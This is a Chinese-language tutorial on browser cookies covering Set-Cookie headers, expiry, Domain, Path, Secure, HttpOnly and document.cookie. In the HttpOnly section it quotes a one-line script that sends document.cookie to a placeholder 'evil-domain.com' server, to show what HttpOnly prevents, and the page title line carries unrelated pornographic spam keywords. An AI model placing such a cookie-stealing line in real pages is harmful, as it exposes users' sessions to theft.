国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

Cookic

phoenixsky / 3010人閱讀

摘要:追蹤記錄和分析用戶行為。屬性返回一個布爾值,表示瀏覽器是否打開功能不同瀏覽器對數量和大小的限制,是不一樣的。請求的發送瀏覽器向服務器發送請求時,每個請求都會帶上相應的。屬性必須為絕對路徑,默認為當前路徑。屬性值必須是當前發送的域名的一部分。

概述
Cookie 與 HTTP 協議
HTTP 回應:Cookie 的生成
HTTP 請求:Cookie 的發送
Cookie 的屬性
Expires,Max-Age
Domain,Path
Secure,HttpOnly
document.cookie

概述

1.Cookie 主要用來分辨兩個請求是否來自同一個瀏覽器,以及用來保存一些狀態信息

常用場合有以下一些。

對話(session)管理:保存登錄、購物車等需要記錄的信息。
個性化:保存用戶的偏好,比如網頁的字體大小、背景色等等。
追蹤:記錄和分析用戶行為。

2.Cookie 是服務器保存在瀏覽器的一小段文本信息,每個 Cookie 的大小一般不能超過4KB。瀏覽器每次向服務器發出請求,就會自動附上這段信息(不同源的不附上)

3.用作客戶端存儲的缺點是 容量小,缺乏數據操作借口。客戶端儲存應該使用 Web storage API 和 IndexedDB。

4.Cookie 包含以下幾方面的信息。

Cookie 的名字
Cookie 的值(真正的數據寫在這里面)
到期時間
所屬域名(默認是當前域名)
生效的路徑(默認是當前網址)

舉例來說,用戶訪問網址www.example.com,服務器在瀏覽器寫入一個 Cookie。這個 Cookie 就會包含www.example.com這個域名,以及根路徑/。這意味著,這個 Cookie 對該域名的根路徑和它的所有子路徑都有效。如果路徑設為/forums,那么這個 Cookie 只有在訪問www.example.com/forums及其子路徑時才有效。以后,瀏覽器一旦訪問這個路徑,瀏覽器就會附上這段 Cookie 發送給服務器

瀏覽器可以設置不接受 Cookie,也可以設置不向服務器發送 Cookie。window.navigator.cookieEnabled屬性返回一個布爾值,表示瀏覽器是否打開 Cookie 功能

不同瀏覽器對 Cookie 數量和大小的限制,是不一樣的。一般來說,單個域名設置的 Cookie 不應超過30個,每個 Cookie 的大小不能超過4KB。超過限制以后,Cookie 將被忽略,不會被設置

瀏覽器的同源政策規定,兩個網址只要域名相同和端口相同,就可以共享 Cookie(參見《同源政策》一章)。注意,這里不要求協議相同。也就是說,http://example.com設置的 Cookie,可以被https://example.com讀取。比如父子窗口之間

Cookie 與 HTTP 協議 HTTP 回應:Cookie 的生成 一個個set 多個同時發送

服務器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應的頭信息里面,放置一個Set-Cookie字段。

Set-Cookie:foo=bar

上面代碼會在瀏覽器保存一個名為foo的 Cookie,它的值為bar。
HTTP 回應可以包含多個Set-Cookie字段,即在瀏覽器生成多個 Cookie。下面是一個例子。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie字段還可以附加 Cookie 的屬性。

Set-Cookie: =; Expires=
Set-Cookie: =; Max-Age=
Set-Cookie: =; Domain=
Set-Cookie: =; Path=
Set-Cookie: =; Secure
Set-Cookie: =; HttpOnly

改變一個早先設置的 Cookie,必須同時滿足四個條件:Cookie 的key、domain、path和secure都匹配。舉例來說,如果原始的 Cookie 是用如下的Set-Cookie設置的

瀏覽器將向服務器發送兩個同名的 Cookie。

Cookie: key1=value1; key1=value2
上面代碼的兩個 Cookie 是同名的,匹配越精確的 Cookie 排在越前面

Cookie字段可以包含多個 Cookie,使用分號(;)分隔

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服務器收到瀏覽器發來的 Cookie 時,有兩點是無法知道的。

Cookie 的各種屬性,比如何時過期。
哪個域名設置的 Cookie,到底是一級域名設的,還是某一個二級域名設的。

HTTP 請求:Cookie 的發送

瀏覽器向服務器發送 HTTP 請求時,每個請求都會帶上相應的 Cookie。也就是說,把服務器早前保存在瀏覽器的這段信息,再發回服務器。這時要使用 HTTP 頭信息的Cookie字段。

Cookie 的屬性 Expires,Max-Age

Expires,Max-Age

Expires屬性指定一個具體的到期時間,到了指定時間以后,瀏覽器就不再保留這個 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()進行格式轉換。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果不設置該屬性,或者設為null,Cookie 只在當前會話(session)有效,瀏覽器窗口一旦關閉,當前 Session 結束,該 Cookie 就會被刪除

Max-Age屬性指定從現在開始 Cookie 存在的秒數,比如60 60 24 * 365(即一年)。過了這個時間以后,瀏覽器就不再保留這個 Cookie。

如果同時指定了Expires和Max-Age,那么Max-Age的值將優先生效。

Domain,Path

Domain屬性指定瀏覽器發出 HTTP 請求時,哪些域名要附帶這個 Cookie

如果沒有指定該屬性,瀏覽器會默認將其設為當前域名,這時子域名將不會附帶這個 Cookie。
比如,example.com不設置 Cookie 的domain屬性,那么sub.example.com將不會附帶這個 Cookie。
如果指定了domain屬性,那么子域名也會附帶這個 Cookie。
如果服務器指定的域名不屬于當前域名,瀏覽器會拒絕這個 Cookie。

Path屬性指定瀏覽器發出 HTTP 請求時,哪些路徑要附帶這個 Cookie。只要瀏覽器發現,Path屬性是 HTTP 請求路徑的開頭一部分,就會在頭信息里面帶上這個 Cookie。比如,PATH屬性是/,那么請求/docs路徑也會包含該 Cookie。當然,前提是域名必須一致。

Secure,HttpOnly

只在https發送

HttpOnly屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是document.cookie屬性、XMLHttpRequest對象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站點載入的一個惡意腳本的代碼,能夠將當前網頁的 Cookie 發往第三方服務器。如果設置了一個 Cookie 的HttpOnly屬性,上面代碼就不會讀到該 Cookie。

document.cookie

document.cookie屬性用于讀寫當前網頁的 Cookie。

讀取的時候,它會返回當前網頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly屬性。

document.cookie屬性是可寫的,可以通過它為當前網站添加 Cookie。

document.cookie = "fontSize=14";

但是,document.cookie一次只能寫入一個 Cookie,而且寫入并不是覆蓋,而是添加。

document.cookie = "test1=hello";
document.cookie = "test2=world";
document.cookie
// test1=hello;test2=world
document.cookie讀寫行為的差異(一次可以讀出全部 Cookie,但是只能寫入一個 Cookie),與 HTTP 協議的 Cookie 通信格式有關。瀏覽器向服務器發送 Cookie 的時候,Cookie字段是使用一行將所有 Cookie 全部發送;服務器向瀏覽器設置 Cookie 的時候,Set-Cookie字段是一行設置一個 Cookie。

各個屬性的寫入注意點如下。

path屬性必須為絕對路徑,默認為當前路徑。
domain屬性值必須是當前發送 Cookie 的域名的一部分。比如,當前域名是example.com,就不能將其設為foo.com。該屬性默認為當前的一級域名(不含二級域名)。
max-age屬性的值為秒數。
expires屬性的值為 UTC 格式,可以使用Date.prototype.toUTCString()進行日期格式轉換。

document.cookie寫入 Cookie 的例子如下。

document.cookie = "fontSize=14; "

"expires=" + someDate.toGMTString() + "; "

"path=/subdirectory; "

"domain=*.example.com";

Cookie 的屬性一旦設置完成,就沒有辦法讀取這些屬性的值。

刪除一個現存 Cookie 的唯一方法,是設置它的expires屬性為一個過去的日期。

document.cookie = "fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT";
上面代碼中,名為fontSize的 Cookie 的值為空,過期時間設為1970年1月1月零點,就等同于刪除了這個 Cookie

文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。

轉載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/106111.html

相關文章

  • Http同源限制

    摘要:協議相同域名相同端口相同目的同源政策的目的,是為了保證用戶信息的安全,防止惡意的網站竊取數據。因為瀏覽器同時還規定,提交表單不受同源政策的限制。同源除了架設服務器代理瀏覽器請求同源服務器,再由后者請求外部服務,有三種方法規避這個限制。 同源CookicDocument.cookicHttp返回 1.概述1.1含義1.2目的1.3限制范圍2.Cookie 同源3.iframe 和多窗口通...

    Acceml 評論0 收藏0

發表評論

0條評論

最新活動
閱讀需要支付1元查看
<